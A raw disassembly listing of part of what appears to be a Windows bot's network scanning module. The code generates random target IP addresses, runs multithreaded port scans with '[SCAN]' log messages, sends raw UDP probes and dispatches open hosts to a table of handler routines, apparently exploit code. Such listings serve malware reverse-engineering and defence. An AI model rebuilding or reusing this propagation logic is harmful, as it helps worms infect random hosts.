; =============== S U B	R O U T	I N E =======================================



sub_423760	proc near		; CODE XREF: sub_401131j

var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  4
arg_4		= dword	ptr  8

		sub	esp, 10h
		mov	edx, [esp+10h+arg_0]
		push	ebx
		or	ebx, 0FFFFFFFFh
		push	edi
		mov	edi, edx
		mov	ecx, ebx
		xor	eax, eax
		mov	[esp+18h+var_8], ebx
		repne scasb
		not	ecx
		dec	ecx
		mov	[esp+18h+var_C], ebx
		cmp	ecx, 0Fh
		mov	[esp+18h+var_10], ebx
		mov	[esp+18h+var_4], ebx
		jbe	short loc_423792
		pop	edi
		pop	ebx
		add	esp, 10h
		retn
; ---------------------------------------------------------------------------


loc_423792:				; CODE XREF: sub_423760+2Aj
		lea	eax, [esp+18h+var_4]
		push	esi
		lea	ecx, [esp+1Ch+var_10]
		push	eax
		push	ecx
		lea	eax, [esp+24h+var_C]
		lea	ecx, [esp+24h+var_8]
		push	eax
		push	ecx
		push	offset aD_D_D_D	; "%d.%d.%d.%d"
		push	edx
		nop
		call	near ptr 77C41B72h
		mov	eax, [esp+34h+var_8]
		mov	esi, dword_50FABC
		add	esp, 18h
		cmp	eax, ebx
		jnz	short loc_4237CA
		call	esi	; rand
		mov	[esp+1Ch+var_8], eax


loc_4237CA:				; CODE XREF: sub_423760+62j
		cmp	[esp+1Ch+var_C], ebx
		jnz	short loc_4237D6
		call	esi	; rand
		mov	[esp+1Ch+var_C], eax


loc_4237D6:				; CODE XREF: sub_423760+6Ej
		cmp	[esp+1Ch+var_10], ebx
		jnz	short loc_4237E2
		call	esi	; rand
		mov	[esp+1Ch+var_10], eax


loc_4237E2:				; CODE XREF: sub_423760+7Aj
		mov	eax, [esp+1Ch+var_4]
		cmp	eax, ebx
		jnz	short loc_4237EC
		call	esi	; rand


loc_4237EC:				; CODE XREF: sub_423760+88j
		mov	edi, [esp+1Ch+var_10]
		mov	edx, [esp+1Ch+var_C]
		shl	eax, 8
		mov	ecx, [esp+1Ch+arg_4]
		add	eax, edi
		shl	eax, 8
		add	eax, edx
		mov	edx, [esp+1Ch+var_8]
		shl	eax, 8
		add	eax, edx
		pop	esi
		pop	edi
		mov	dword_50BB80[ecx*8], eax
		pop	ebx
		add	esp, 10h
		retn
sub_423760	endp

; ---------------------------------------------------------------------------
		db 7 dup(90h)
		db 30h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_423850	proc near		; CODE XREF: sub_401E38j

var_120		= dword	ptr -120h
var_11C		= dword	ptr -11Ch
var_118		= dword	ptr -118h
var_114		= word ptr -114h
var_112		= word ptr -112h
var_110		= dword	ptr -110h
var_104		= dword	ptr -104h
var_100		= dword	ptr -100h
arg_0		= dword	ptr  4
arg_4		= dword	ptr  8
arg_8		= dword	ptr  0Ch

		sub	esp, 120h
		push	esi
		push	edi
		mov	edi, 1
		push	0
		push	edi
		push	2
		mov	[esp+134h+var_120], edi
		nop
		call	near ptr 71AB3B91h
		mov	esi, eax
		cmp	esi, 0FFFFFFFFh
		jnz	short loc_42387E
		pop	edi
		xor	eax, eax
		pop	esi
		add	esp, 120h
		retn
; ---------------------------------------------------------------------------


loc_42387E:				; CODE XREF: sub_423850+21j
		mov	ecx, [esp+128h+arg_4]
		mov	eax, [esp+128h+arg_0]
		push	ecx
		mov	[esp+12Ch+var_114], 2
		mov	[esp+12Ch+var_110], eax
		nop
		call	near ptr 71AB2B66h
		lea	edx, [esp+128h+var_120]
		mov	[esp+128h+var_112], ax
		push	edx
		push	8004667Eh
		push	esi
		call	near ptr 71AB4519h
		nop
		lea	eax, [esp+128h+var_114]
		push	10h
		push	eax
		push	esi
		call	near ptr 71AB406Ah
		nop
		mov	ecx, [esp+128h+arg_8]
		lea	edx, [esp+128h+var_11C]
		push	edx
		lea	eax, [esp+12Ch+var_104]
		push	0
		push	eax
		push	0
		push	0
		mov	[esp+13Ch+var_11C], ecx
		mov	[esp+13Ch+var_118], 0
		mov	[esp+13Ch+var_100], esi
		mov	[esp+13Ch+var_104], edi
		call	near ptr 71AB2DC0h
		nop
		push	esi
		mov	edi, eax
		nop
		call	near ptr 71AB9639h
		xor	eax, eax
		test	edi, edi
		pop	edi
		pop	esi
		setnle	al
		add	esp, 120h
		retn
sub_423850	endp

; ---------------------------------------------------------------------------
		db 4 dup(90h)
		db 30h dup(0CCh)
; ---------------------------------------------------------------------------


loc_423940:				; CODE XREF: ___:00401046j
		mov	eax, 10110h
		call	sub_436840
		push	ebx
		push	ebp
		mov	ebp, dword_50FC2C
		push	esi
		push	edi
		push	2649h
		call	ebp	; ntohs
		mov	[esp+24h], ax
		mov	eax, [esp+1012Ch]
		push	eax
		call	ebp	; ntohs
		mov	[esp+26h], ax
		nop
		call	near ptr 77C371D3h
		xor	ebx, ebx
		push	200h
		mov	[esp+2Ch], eax
		mov	[esp+30h], ebx
		mov	[esp+34h], bx
		mov	[esp+44h], bx
		mov	word ptr [esp+36h], 5
		mov	[esp+38h], bx
		mov	word ptr [esp+3Ah], 1
		mov	[esp+3Ch], bx
		mov	[esp+3Eh], bx
		mov	[esp+40h], bx
		mov	[esp+42h], bx
		call	ebp	; ntohs
		mov	ecx, [esp+10124h]
		mov	edx, [esp+10128h]
		push	24h
		mov	[esp+46h], ax
		mov	[esp+48h], bx
		mov	[esp+4Ah], bx
		mov	[esp+4Ch], ecx
		mov	[esp+50h], edx
		mov	[esp+54h], bl
		mov	byte ptr [esp+55h], 6
		call	ebp	; ntohs
		mov	[esp+52h], ax
		mov	ecx, 9
		lea	esi, [esp+24h]
		lea	edi, [esp+54h]
		lea	eax, [esp+48h]
		push	20h
		rep movsd
		push	eax
		call	sub_401A28
		mov	edx, [esp+10134h]
		xor	ecx, ecx
		mov	[esp+1Ch], ecx
		add	esp, 8
		mov	[esp+18h], ecx
		mov	[esp+44h], ax
		mov	[esp+1Ch], ecx
		push	edx
		mov	[esp+24h], ecx
		mov	word ptr [esp+18h], 2
		call	ebp	; ntohs
		mov	[esp+16h], ax
		mov	eax, [esp+10128h]
		push	6
		push	3
		push	2
		mov	[esp+24h], eax
		mov	dword ptr [esp+1Ch], 10h
		call	near ptr 71AB3B91h
		nop
		mov	esi, eax
		cmp	esi, 0FFFFFFFFh
		jnz	short loc_423A69
		push	offset aSocketOpenFail ; "socket open failed"
		jmp	loc_423B68
; ---------------------------------------------------------------------------


loc_423A69:				; CODE XREF: ___:00423A5Dj
		mov	ecx, [esp+10h]
		lea	edx, [esp+14h]
		push	ecx
		push	edx
		push	ebx
		lea	eax, [esp+30h]
		push	24h
		push	eax
		push	esi
		nop
		call	near ptr 71AB2C69h
		mov	edi, eax
		cmp	edi, 14h
		jz	short loc_423AC2
		nop
		call	near ptr 71AB94DCh
		push	eax
		push	edi
		lea	ecx, [esp+70h]
		push	offset aSendtoSocketFa ; "sendto() socket failed. sent = %d <%d>."...
		push	ecx
		nop
		call	sub_5EA1BD
		lea	edx, [esp+78h]
		push	edx
		call	sub_4010D2
		add	esp, 14h
		push	esi
		nop
		call	near ptr 71AB9639h
		pop	edi
		pop	esi
		pop	ebp
		xor	eax, eax
		pop	ebx
		add	esp, 10110h
		retn
; ---------------------------------------------------------------------------


loc_423AC2:				; CODE XREF: ___:00423A87j
		mov	ecx, 400Dh
		xor	eax, eax
		lea	edi, [esp+0E8h]
		mov	ebp, 2649h
		rep stosd
		stosw
		stosb
		cmp	[esp+0FEh], bp
		jz	short loc_423B13
		mov	edi, dword_50FC58


loc_423AEA:				; CODE XREF: ___:00423B11j
		lea	eax, [esp+10h]
		lea	ecx, [esp+14h]
		push	eax
		push	ecx
		push	ebx
		lea	edx, [esp+0F4h]
		push	10037h
		push	edx
		push	esi
		call	edi	; recvfrom
		test	eax, eax
		jl	short loc_423B42
		cmp	[esp+0FEh], bp
		jnz	short loc_423AEA


loc_423B13:				; CODE XREF: ___:00423AE2j
		push	esi
		nop
		call	near ptr 71AB9639h
		cmp	word ptr [esp+10Eh], 1
		jnz	short loc_423B63
		push	offset aSocketOpen_ ; "Socket open."
		call	sub_4010D2
		add	esp, 4
		mov	eax, 1
		pop	edi
		pop	esi
		pop	ebp
		pop	ebx
		add	esp, 10110h
		retn
; ---------------------------------------------------------------------------


loc_423B42:				; CODE XREF: ___:00423B07j
		push	offset aRecvfromSocket ; "recvfrom() socket failed"
		call	sub_4010D2
		add	esp, 4
		push	esi
		nop
		call	near ptr 71AB9639h
		pop	edi
		pop	esi
		pop	ebp
		xor	eax, eax
		pop	ebx
		add	esp, 10110h
		retn
; ---------------------------------------------------------------------------


loc_423B63:				; CODE XREF: ___:00423B23j
		push	offset dword_44466C


loc_423B68:				; CODE XREF: ___:00423A64j
		call	sub_4010D2
		add	esp, 4
		xor	eax, eax
		pop	edi
		pop	esi
		pop	ebp
		pop	ebx
		add	esp, 10110h
		retn
; ---------------------------------------------------------------------------
		db 3 dup(90h)
		db 90h dup(0CCh)
; ---------------------------------------------------------------------------


loc_423C10:				; CODE XREF: ___:loc_401F23j
		sub	esp, 290h
		mov	eax, [esp+294h]
		push	ebx
		push	ebp
		push	esi
		push	edi
		mov	ecx, 53h
		mov	esi, eax
		lea	edi, [esp+18h]
		rep movsd
		mov	esi, [esp+13Ch]
		mov	ecx, [esp+140h]
		mov	[esp+10h], esi
		mov	[esp+14h], ecx
		mov	dword ptr [eax+148h], 1
		nop
		call	near ptr 27D0802h
		push	eax
		call	near ptr 77C371BCh
		nop
		lea	eax, [esi+esi*2]
		add	esp, 4
		shl	eax, 4
		sub	eax, esi
		lea	eax, [eax+eax*2]
		lea	ebp, ds:448FBBh[eax*4]
		mov	eax, dword_4491BF[eax*4]
		mov	ecx, dword_50BB84[eax*8]
		test	ecx, ecx
		jz	loc_423EC4
		mov	ebx, off_50FBF0


loc_423C8C:				; CODE XREF: ___:00423EBAj
		mov	ecx, [esp+158h]
		push	eax
		test	ecx, ecx
		jz	short loc_423CA7
		lea	edx, [esp+1Ch]
		push	edx
		call	sub_401131
		add	esp, 8
		jmp	short loc_423CAF
; ---------------------------------------------------------------------------


loc_423CA7:				; CODE XREF: ___:00423C96j
		call	sub_401F37
		add	esp, 4


loc_423CAF:				; CODE XREF: ___:00423CA5j
		mov	ecx, [ebp+204h]
		mov	edx, [esp+12Ch]
		mov	edi, dword_50FC78
		mov	esi, eax
		mov	eax, [esp+14h]
		push	eax
		push	ecx
		push	edx
		push	esi
		call	edi	; inet_ntoa
		push	eax
		lea	eax, [esp+230h]
		push	offset aScanIpSDScanTh ; "[SCAN]: IP: %s:%d, Scan thread: %d, Sub"...
		push	eax
		call	ebx ; sub_5EA1BD
		add	esp, 18h
		lea	ecx, [esp+220h]
		push	ecx
		push	ebp
		call	ebx ; sub_5EA1BD
		mov	edx, [esp+138h]
		mov	eax, [esp+134h]
		push	edx
		push	eax
		push	esi
		call	sub_401E38
		add	esp, 14h
		cmp	eax, 1
		jnz	loc_423EA0
		cmp	dword ptr [esp+148h], 0FFFFFFFFh
		jnz	loc_423DC2
		push	offset dword_50DAC0
		nop
		call	near ptr 7C901005h
		mov	ecx, [esp+12Ch]
		push	ecx
		push	esi
		call	edi	; inet_ntoa
		push	eax
		lea	edx, [esp+228h]
		push	offset aScanIpSPortDIs ; "[SCAN]: IP: %s, Port %d is open."
		push	edx
		call	ebx ; sub_5EA1BD
		mov	eax, [esp+164h]
		add	esp, 10h
		test	eax, eax
		jnz	short loc_423DA2
		mov	al, [esp+0A8h]
		test	al, al
		jz	short loc_423D7D
		mov	eax, [esp+150h]
		lea	ecx, [esp+220h]
		push	eax
		mov	eax, [esp+12Ch]
		lea	edx, [esp+0ACh]
		push	ecx
		push	edx
		push	eax
		jmp	short loc_423D9A
; ---------------------------------------------------------------------------


loc_423D7D:				; CODE XREF: ___:00423D59j
		mov	ecx, [esp+150h]
		lea	edx, [esp+220h]
		push	ecx
		mov	ecx, [esp+12Ch]
		lea	eax, [esp+2Ch]
		push	edx
		push	eax
		push	ecx


loc_423D9A:				; CODE XREF: ___:00423D7Bj
		call	sub_401523
		add	esp, 10h


loc_423DA2:				; CODE XREF: ___:00423D4Ej
		lea	edx, [esp+220h]
		push	edx
		call	sub_4010D2
		add	esp, 4
		push	offset dword_50DAC0
		call	near ptr 7C9010EDh
		nop
		jmp	loc_423EA0
; ---------------------------------------------------------------------------


loc_423DC2:				; CODE XREF: ___:00423D16j
		push	esi
		call	edi	; inet_ntoa
		push	eax
		lea	eax, [esp+16Ch]
		push	eax
		call	ebx ; sub_5EA1BD
		mov	eax, [esp+150h]
		add	esp, 8
		lea	eax, [eax+eax*2]
		lea	ecx, [eax+eax*4]
		lea	eax, [esp+1F8h]
		lea	edx, ds:444410h[ecx*4]
		push	edx
		push	eax
		call	ebx ; sub_5EA1BD
		mov	al, [esp+0B0h]
		add	esp, 8
		test	al, al
		jz	short loc_423E12
		lea	ecx, [esp+0A8h]
		lea	edx, [esp+178h]
		push	ecx
		push	edx
		jmp	short loc_423E1F
; ---------------------------------------------------------------------------


loc_423E12:				; CODE XREF: ___:00423DFEj
		lea	eax, [esp+28h]
		lea	ecx, [esp+178h]
		push	eax
		push	ecx


loc_423E1F:				; CODE XREF: ___:00423E10j
		call	ebx ; sub_5EA1BD
		mov	eax, [esp+158h]
		mov	edx, [esp+130h]
		mov	ecx, [esp+15Ch]
		mov	[esp+21Ah], eax
		mov	eax, [esp+18h]
		add	esp, 8
		mov	[esp+164h], edx
		mov	edx, [esp+12Ch]
		mov	[esp+206h], eax
		mov	eax, [esp+148h]
		sub	esp, 0BCh
		mov	[esp+2D2h], ecx
		mov	ecx, 2Eh
		lea	esi, [esp+220h]
		mov	edi, esp
		mov	[esp+2BEh], edx
		mov	[esp+2C6h], eax
		lea	eax, [eax+eax*2]
		rep movsd
		lea	edx, [eax+eax*4]
		movsw
		call	off_44443C[edx*4]
		add	esp, 0BCh


loc_423EA0:				; CODE XREF: ___:00423D08j
					; ___:00423DBDj
		push	7D0h
		nop
		call	near ptr 2811E0Eh
		mov	eax, [ebp+204h]
		mov	ecx, dword_50BB84[eax*8]
		test	ecx, ecx
		jnz	loc_423C8C
		mov	esi, [esp+10h]


loc_423EC4:				; CODE XREF: ___:00423C80j
		push	esi
		call	sub_401E24
		add	esp, 4
		push	0
		nop
		call	near ptr 2820000h
		nop
		nop
		nop
		nop
		nop
		nop
		nop
		nop
		nop
		nop
		nop
; ---------------------------------------------------------------------------
		db 0C0h	dup(0CCh)
; ---------------------------------------------------------------------------


loc_423FA0:				; CODE XREF: sub_402261j
		mov	eax, [esp+4]
		sub	esp, 1CCh
		mov	ecx, 53h
		push	ebx
		push	ebp
		push	esi
		push	edi
		mov	esi, eax
		lea	edi, [esp+10h]
		mov	ebx, 1
		rep movsd
		mov	[eax+144h], ebx
		lea	eax, [esp+10h]
		push	eax
		nop
		call	near ptr 71AB2BF4h
		sub	esp, 14Ch
		lea	esi, [esp+15Ch]
		mov	ecx, [esp+27Ch]
		mov	edi, esp
		mov	dword_50BB80[ecx*8], eax
		mov	ecx, 53h
		rep movsd
		call	j_nullsub_9
		push	3
		call	sub_401483
		add	esp, 150h
		cmp	eax, ebx
		jnz	short loc_424021
		push	offset dword_50DAC0
		nop
		call	near ptr 276085Dh
		push	offset dword_50DAC0
		nop
		call	near ptr 2760EBFh


loc_424021:				; CODE XREF: ___:00424009j
		mov	edx, [esp+130h]
		mov	eax, [esp+13Ch]
		mov	ebp, dword_50F8D0
		mov	esi, ebx
		mov	dword_50BB84[edx*8], ebx
		cmp	eax, ebx
		mov	ebx, off_50FBF0
		jb	loc_424150
		mov	edi, dword_50F860


loc_424052:				; CODE XREF: ___:0042414Aj
		mov	eax, [esp+130h]
		mov	ecx, [esp+124h]
		push	esi
		push	eax
		lea	edx, [esp+18h]
		push	ecx
		push	edx
		lea	eax, [esp+16Ch]
		push	offset aScanSDScanThre ; "[SCAN]: %s:%d, Scan thread: %d, Sub-thr"...
		push	eax
		mov	[esp+150h], esi
		call	ebx ; sub_5EA1BD
		push	0
		lea	ecx, [esp+178h]
		push	3
		push	ecx
		call	sub_401BD6
		lea	ecx, [eax+eax*2]
		add	esp, 24h
		shl	ecx, 4
		sub	ecx, eax
		push	0
		push	0
		mov	[esp+13Ch], eax
		mov	eax, [esp+138h]
		lea	edx, [ecx+ecx*2]
		lea	ecx, [esp+18h]
		push	ecx
		push	offset loc_401F23
		push	0
		push	0
		mov	dword_4491BF[edx*4], eax
		call	edi
		mov	edx, [esp+134h]
		lea	ecx, [edx+edx*2]
		shl	ecx, 4
		sub	ecx, edx
		lea	edx, [ecx+ecx*2]
		mov	dword_4491CF[edx*4], eax
		mov	ecx, [esp+134h]
		lea	eax, [ecx+ecx*2]
		shl	eax, 4
		sub	eax, ecx
		lea	eax, [eax+eax*2]
		mov	ecx, dword_4491CF[eax*4]
		test	ecx, ecx
		jz	short loc_424118
		mov	eax, [esp+158h]
		test	eax, eax
		jnz	short loc_42413E


loc_424107:				; CODE XREF: ___:00424114j
		push	1Eh
		call	ebp
		mov	eax, [esp+158h]
		test	eax, eax
		jz	short loc_424107
		jmp	short loc_42413E
; ---------------------------------------------------------------------------


loc_424118:				; CODE XREF: ___:004240FAj
		call	near ptr 27A08E3h
		nop
		push	eax
		lea	ecx, [esp+160h]
		push	offset aScanFailedToSt ; "[SCAN]: Failed to start worker thread, "...
		push	ecx
		call	ebx ; sub_5EA1BD
		lea	edx, [esp+168h]
		push	edx
		call	sub_4010D2
		add	esp, 10h


loc_42413E:				; CODE XREF: ___:00424105j
					; ___:00424116j
		push	1Eh
		call	ebp
		inc	esi
		cmp	esi, [esp+13Ch]
		jbe	loc_424052


loc_424150:				; CODE XREF: ___:00424046j
		mov	eax, [esp+12Ch]
		test	eax, eax
		jz	short loc_42417E
		lea	eax, [eax+eax*2]
		lea	eax, [eax+eax*4]
		lea	eax, [eax+eax*4]
		lea	eax, [eax+eax*4]
		lea	eax, [eax+eax*4]
		shl	eax, 5
		push	eax
		call	ebp
		mov	esi, 1
		mov	eax, [esp+12Ch]
		jmp	short loc_4241B1
; ---------------------------------------------------------------------------


loc_42417E:				; CODE XREF: ___:00424159j
		mov	ecx, [esp+130h]
		mov	esi, 1
		cmp	dword_50BB84[ecx*8], esi
		jnz	short loc_4241B1


loc_424193:				; CODE XREF: ___:004241A8j
		push	7D0h
		call	ebp
		mov	edx, [esp+130h]
		cmp	dword_50BB84[edx*8], esi
		jz	short loc_424193
		mov	eax, [esp+12Ch]


loc_4241B1:				; CODE XREF: ___:0042417Cj
					; ___:00424191j
		mov	ecx, [esp+130h]
		mov	edx, [esp+124h]
		push	eax
		push	edx
		mov	ecx, dword_50BB80[ecx*8]
		push	ecx
		nop
		call	near ptr 71AB3F41h
		push	eax
		lea	eax, [esp+168h]
		push	offset aScanFinishedAt ; "[SCAN]: Finished at %s:%d after %d minu"...
		push	eax
		call	ebx ; sub_5EA1BD
		mov	eax, [esp+160h]
		add	esp, 14h
		test	eax, eax
		jnz	short loc_424212
		mov	ecx, [esp+148h]
		lea	edx, [esp+15Ch]
		push	ecx
		mov	ecx, [esp+124h]
		lea	eax, [esp+24h]
		push	edx
		push	eax
		push	ecx
		call	sub_401523
		add	esp, 10h


loc_424212:				; CODE XREF: ___:004241EBj
		lea	edx, [esp+15Ch]
		push	edx
		call	sub_4010D2
		mov	eax, [esp+134h]
		add	esp, 4
		push	0BB8h
		mov	dword_50BB84[eax*8], 0
		call	ebp
		push	3
		call	sub_401483
		add	esp, 4
		cmp	eax, esi
		jnz	short loc_424254
		push	offset dword_50DAC0
		nop
		call	near ptr 276085Dh


loc_424254:				; CODE XREF: ___:00424247j
		mov	ecx, [esp+130h]
		push	ecx
		call	sub_401E24
		add	esp, 4
		push	0
		nop
		call	near ptr 2820000h
		nop
		nop
		nop
		nop
; ---------------------------------------------------------------------------
		db 0C0h	dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_424330	proc near		; CODE XREF: sub_4012A8j
		mov	eax, ecx
		mov	dword ptr [eax+4], 0
		mov	dword ptr [eax], 0
		retn
sub_424330	endp

; ---------------------------------------------------------------------------
		db 10h dup(0CCh)
; ---------------------------------------------------------------------------


loc_424350:				; CODE XREF: ___:004015E1j
		mov	edx, [esp+4]
		sub	esp, 8
		xor	eax, eax
		push	esi
		mov	esi, ecx
		push	edi
		mov	edi, edx
		or	ecx, 0FFFFFFFFh
		repne scasb
		not	ecx
		dec	ecx
		push	ecx
		push	edx
		lea	ecx, [esp+10h]
		call	sub_401834
		mov	ecx, [eax]
		pop	edi
		mov	[esi], ecx
		mov	edx, [eax+4]
		mov	eax, esi
		mov	[esi+4], edx
		pop	esi
		add	esp, 8
		retn	4
; ---------------------------------------------------------------------------
		db 0Ah dup(90h)
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_4243A0	proc near		; CODE XREF: sub_401834j

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8

		push	ebx
		push	ebp
		mov	ebp, [esp+8+arg_4]
		mov	ebx, ecx
		push	ebp
		nop
		call	near ptr 77C2C407h
		mov	edx, eax
		add	esp, 4
		test	edx, edx
		jz	short loc_4243F2
		mov	ecx, ebp
		push	esi
		mov	esi, ecx
		push	edi
		xor	eax, eax
		mov	edi, edx
		shr	ecx, 2
		rep stosd
		mov	ecx, esi
		mov	esi, [esp+10h+arg_0]
		and	ecx, 3
		rep stosb
		mov	ecx, ebp
		mov	edi, edx
		mov	eax, ecx
		shr	ecx, 2
		rep movsd
		mov	ecx, eax
		mov	eax, ebx
		and	ecx, 3
		rep movsb
		pop	edi
		mov	[ebx+4], ebp
		pop	esi
		mov	[ebx], edx
		pop	ebp
		pop	ebx
		retn	8
; ---------------------------------------------------------------------------


loc_4243F2:				; CODE XREF: sub_4243A0+16j
		mov	eax, ebx
		pop	ebp
		pop	ebx
		retn	8
sub_4243A0	endp ; sp-analysis failed

; ---------------------------------------------------------------------------
		db 7 dup(90h)
		db 20h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_424420	proc near		; CODE XREF: sub_4021D5j

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8
arg_8		= dword	ptr  0Ch
arg_C		= dword	ptr  10h

		mov	eax, [esp+arg_4]
		push	ebx
		mov	ebx, ecx
		push	ebp
		mov	ecx, [esp+8+arg_C]
		lea	ebp, [eax+ecx]
		push	ebp
		nop
		call	near ptr 77C2C407h
		mov	edx, eax
		add	esp, 4
		test	edx, edx
		jz	short loc_424494
		mov	ecx, ebp
		push	esi
		mov	esi, ecx
		push	edi
		xor	eax, eax
		mov	edi, edx
		shr	ecx, 2
		rep stosd
		mov	ecx, esi
		mov	esi, [esp+10h+arg_0]
		and	ecx, 3
		rep stosb
		mov	ecx, [esp+10h+arg_4]
		mov	edi, edx
		mov	eax, ecx
		shr	ecx, 2
		rep movsd
		mov	ecx, eax
		and	ecx, 3
		rep movsb
		mov	ecx, [esp+10h+arg_C]
		mov	esi, [esp+10h+arg_8]
		lea	edi, [edx+eax]
		mov	eax, ecx
		shr	ecx, 2
		rep movsd
		mov	ecx, eax
		mov	eax, ebx
		and	ecx, 3
		rep movsb
		pop	edi
		mov	[ebx+4], ebp
		pop	esi
		mov	[ebx], edx
		pop	ebp
		pop	ebx
		retn	10h
; ---------------------------------------------------------------------------


loc_424494:				; CODE XREF: sub_424420+1Dj
		mov	eax, ebx
		pop	ebp
		pop	ebx
		retn	10h
sub_424420	endp

; ---------------------------------------------------------------------------
		db 5 dup(90h)
		db 20h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_4244C0	proc near		; CODE XREF: sub_4016B8j
		push	esi
		mov	esi, ecx
		mov	eax, [esi]
		test	eax, eax
		jz	short loc_4244D3
		push	eax
		nop
		call	near ptr 77C2C21Bh
		add	esp, 4


loc_4244D3:				; CODE XREF: sub_4244C0+7j
		mov	dword ptr [esi+4], 0
		mov	dword ptr [esi], 0
		pop	esi
		retn
sub_4244C0	endp

; ---------------------------------------------------------------------------
		db 0Eh dup(90h)
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_424500	proc near		; CODE XREF: sub_4010A0j

var_4		= dword	ptr -4

		push	ecx
		push	ebx
		mov	ebx, ecx
		push	ebp
		push	esi
		mov	eax, [ebx+4]
		cmp	eax, 0FFFFh
		jl	short loc_424517
		pop	esi
		pop	ebp
		xor	al, al
		pop	ebx
		pop	ecx
		retn
; ---------------------------------------------------------------------------


loc_424517:				; CODE XREF: sub_424500+Ej
		xor	ecx, ecx
		cmp	eax, 7Fh
		setnl	cl
		dec	ecx
		and	ecx, 0FFFFFFFEh
		add	ecx, 3
		mov	esi, ecx
		add	eax, esi
		mov	[esp+10h+var_4], esi
		push	eax
		nop
		call	near ptr 77C2C407h
		mov	ebp, eax
		add	esp, 4
		test	ebp, ebp
		jnz	short loc_424545
		pop	esi
		pop	ebp
		xor	al, al
		pop	ebx
		pop	ecx
		retn
; ---------------------------------------------------------------------------


loc_424545:				; CODE XREF: sub_424500+3Cj
		push	edi
		mov	edi, [ebx+4]
		mov	ecx, esi
		xor	eax, eax
		add	ecx, edi
		mov	edi, ebp
		mov	edx, ecx
		shr	ecx, 2
		rep stosd
		mov	ecx, edx
		and	ecx, 3
		cmp	esi, 1
		rep stosb
		jnz	short loc_424574
		mov	al, [ebx+4]
		lea	edi, [ebp+1]
		mov	[ebp+0], al
		mov	ecx, [ebx+4]
		mov	esi, [ebx]
		jmp	short loc_42458F
; ---------------------------------------------------------------------------


loc_424574:				; CODE XREF: sub_424500+62j
		mov	byte ptr [ebp+0], 82h
		mov	eax, [ebx+4]
		sar	eax, 8
		mov	[ebp+1], al
		mov	cl, [ebx+4]
		mov	[ebp+2], cl
		mov	ecx, [ebx+4]
		mov	esi, [ebx]
		lea	edi, [ebp+3]


loc_42458F:				; CODE XREF: sub_424500+72j
		mov	edx, ecx
		shr	ecx, 2
		rep movsd
		mov	ecx, edx
		and	ecx, 3
		rep movsb
		mov	eax, [ebx]
		push	eax
		nop
		call	near ptr 77C2C21Bh
		mov	ecx, [esp+18h+var_4]
		mov	eax, [ebx+4]
		add	esp, 4
		add	eax, ecx
		mov	[ebx], ebp
		mov	[ebx+4], eax
		pop	edi
		pop	esi
		pop	ebp
		mov	al, 1
		pop	ebx
		pop	ecx
		retn
sub_424500	endp

; ---------------------------------------------------------------------------
		db 90h
		db 30h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_4245F0	proc near		; CODE XREF: sub_401B68j

var_8		= dword	ptr -8
var_4		= dword	ptr -4

		sub	esp, 8
		push	ebx
		push	ebp
		mov	ebp, ecx
		mov	eax, [ebp+4]
		mov	ecx, [ebp+0]
		push	eax
		push	ecx
		push	1
		push	offset dword_446F64
		lea	ecx, [esp+20h+var_8]
		call	sub_4021D5
		lea	ecx, [esp+10h+var_8]
		call	sub_4010A0
		mov	edx, [esp+10h+var_4]
		inc	edx
		push	edx
		call	near ptr 77C2C407h
		nop
		mov	ebx, eax
		add	esp, 4
		test	ebx, ebx
		jnz	short loc_424635
		pop	ebp
		xor	al, al
		pop	ebx
		add	esp, 8
		retn
; ---------------------------------------------------------------------------


loc_424635:				; CODE XREF: sub_4245F0+3Bj
		mov	eax, [esp+10h+var_4]
		push	esi
		push	edi
		mov	edi, ebx
		lea	ecx, [eax+1]
		xor	eax, eax
		mov	edx, ecx
		shr	ecx, 2
		rep stosd
		mov	ecx, edx
		and	ecx, 3
		rep stosb
		mov	byte ptr [ebx],	3
		mov	ecx, [esp+18h+var_4]
		mov	esi, [esp+18h+var_8]
		mov	eax, ecx
		lea	edi, [ebx+1]
		shr	ecx, 2
		rep movsd
		mov	ecx, eax
		and	ecx, 3
		rep movsb
		mov	ecx, ebp
		call	sub_4016B8
		mov	ecx, [esp+18h+var_4]
		mov	[ebp+0], ebx
		inc	ecx
		mov	[ebp+4], ecx
		lea	ecx, [esp+18h+var_8]
		call	sub_4016B8
		pop	edi
		pop	esi
		pop	ebp
		mov	al, 1
		pop	ebx
		add	esp, 8
		retn
sub_4245F0	endp

; ---------------------------------------------------------------------------
		db 0Fh dup(90h)
		db 30h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_4246D0	proc near		; CODE XREF: sub_4012C6j

var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  4
arg_4		= dword	ptr  8

		mov	eax, [esp+arg_4]
		sub	esp, 8
		push	esi
		mov	esi, ecx
		mov	ecx, [esp+0Ch+arg_0]
		push	eax
		mov	edx, [esi+4]
		mov	eax, [esi]
		push	ecx
		push	edx
		push	eax
		lea	ecx, [esp+1Ch+var_8]
		call	sub_4021D5
		mov	ecx, esi
		call	sub_4016B8
		mov	ecx, [esp+0Ch+var_8]
		mov	edx, [esp+0Ch+var_4]
		mov	[esi], ecx
		mov	[esi+4], edx
		mov	al, 1
		pop	esi
		add	esp, 8
		retn	8
sub_4246D0	endp

; ---------------------------------------------------------------------------
		db 3 dup(90h)
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_424720	proc near		; CODE XREF: sub_402036j

arg_0		= dword	ptr  4

		push	esi
		mov	esi, [esp+4+arg_0]
		mov	edx, ecx
		push	edi
		mov	edi, esi
		or	ecx, 0FFFFFFFFh
		xor	eax, eax
		repne scasb
		not	ecx
		dec	ecx
		push	ecx
		push	esi
		mov	ecx, edx
		call	sub_4012C6
		pop	edi
		pop	esi
		retn	4
sub_424720	endp

; ---------------------------------------------------------------------------
		db 0Eh dup(90h)
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_424760	proc near		; CODE XREF: sub_4014FBj

arg_0		= dword	ptr  4
